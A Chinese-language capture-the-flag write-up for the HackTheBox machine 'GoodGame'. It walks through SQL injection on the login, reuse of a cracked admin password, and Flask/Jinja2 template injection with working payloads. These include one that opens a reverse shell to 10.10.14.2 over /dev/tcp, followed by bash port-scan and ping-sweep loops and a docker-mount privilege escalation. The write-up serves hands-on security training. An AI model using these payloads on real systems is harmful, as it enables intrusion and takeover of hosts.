HTB-GoodGame

信息收集

nmap只扫描到一个开启的端口。

dirbuster也没发现有价值的页面。

我创建了一个账户test@test.com:test并开始测试登录功能是否存在sql注入。

有两个想法，一是结合admin和网站名组合试试；二是用sqlmap。
一，尝试 admin@goodgame.com。

把cookie弄出来就行了。

二，使用sqlmap。
sqlmap比较慢。

借助工具的帮助下可以得知密码是superadministrator。

并且在admin下多了个设置按钮。

并且指向一个链接，添加到hosts后又是个登录界面。

尝试发现存在密码复用，admin:superadministrator。通过注释能够知道这是个什么东西。

在探索的时候发现一个上传文件，但是可以看到

似乎这个网站并没有利用价值，但是这个域名倒是挺让人注意，仿佛暗示有一个域名没找出来。FUZZ-administration.goodgames.htb。

很明显我上当了。开始搜集网站有关的更多信息，并且发现了python，加上flask模板。

又是一个暗示SSTI，希望不是挖的坑，开始搜寻哪里可以利用。
就一个搜索框和个人信息设置能够真正意义上的使用。

但是搜索框仿佛也是摆设，也就只有个人信息里的全名字段可能是利用点。

继续判断，输入{{7*'7'}}出现了7个7也就意味着可能是jinja2或twig。

哦等等，很有可能是Flask。

随便搜索能找到一篇flask的SSTI文章。
首先找到找到subprocess.Popen类，{{''.__class__.__mro__[1].__subclasses__()}}，将其结果复制到记事本开始查找。

每一个左尖括号<是一个类的开始，要准确找到subprocess.Popen类，使用切片。先大致猜个数200。

还差十来个样子，选个210，看到第8个类是subprocess.Popen，因为是切片，所以[7:]就是第8个类subprocess.Popen。
也就是217是subprocess.Popen类的准确位置。

接着构造利用语句，{{''.__class__.__mro__[1].__subclasses__()[217]('id',shell=True,stdout=-1).communicate()}}。很幸运是root。

开机

使用弹反shell。

{{''.__class__.__mro__[1].__subclasses__()[217]('bash -c "bash -i >& /dev/tcp/10.10.14.2/2345 0>&1"',shell=True,stdout=-1).communicate()}}

root的flag在哪里呢。不对，突然意识到不会这么简单。

并且发现了个IP172.19.0.2，估计和docker有关。

本地也没有看到相关的端口，所以想对172.19.0.2进行一次端口扫描，写一个简单的端口扫描脚本。怎么写呢？

在搜索的时候发现一个脚本使用/dev/tcp。

并且知道怎么使用它，做个简单的实验。

for port in {1..65535};do (echo >/dev/tcp/172.19.0.2/$port) >/dev/null 2>&1 && echo $port;done
1

但是每次扫描结果都有所差距，这是为什么。

是不是因为超时问题？通过搜索知道timout。

for port in {1..65535};do ( timeout 100 echo >/dev/tcp/172.19.0.2/$port) >/dev/null 2>&1 && echo $port;done
1

我不明白，还是扫描不到其他端口，这是为什么。是不是还有其他同ip段的网络主机？

for ip in {1..254};do ping -c 1 172.19.0.$ip >/dev/null 2>&1 &&echo "172.19.0."$ip "is open";done
1

发现了新的IP，再次对它进行端口扫描。

for port in {1..65535};do ( timeout 1 echo >/dev/tcp/172.19.0.1/$port) >/dev/null 2>&1 && echo $port;done
1

一个80和和一个22，先尝试22(ssh)端口。

搜索得知此问题会出现在脚本调用ssh，所以用python升级tty。

提权

想了许久，发现这个172.19.0.1和目标主机有同样的用户文件。会不会是使用docker挂载到172.19.0.1里面去的或者是172主机挂在目标主机（10.10.11.130）。再看到目标主机是root，所以推测要将bash从172主机挂载到目标主机上，再利用目标主机root权限修改后挂载回去。

1.

2.

通过以上三步，172主机的bash已经能够利用了。然后怎么利用呢，去看了看man bash，并且找到了一个有趣的东西。
有点难理解，简单来说就是你以用户augutus组去使用root用户组的bash，且不加上-p选项，就会出现augutus无法继承root的用户组来使用bash，而以augutus自身来使用bash。

所以也就是说当前用户和实际用户不一致的情况下开启以-p参数开启shell，会附加实际用户组来开启shell。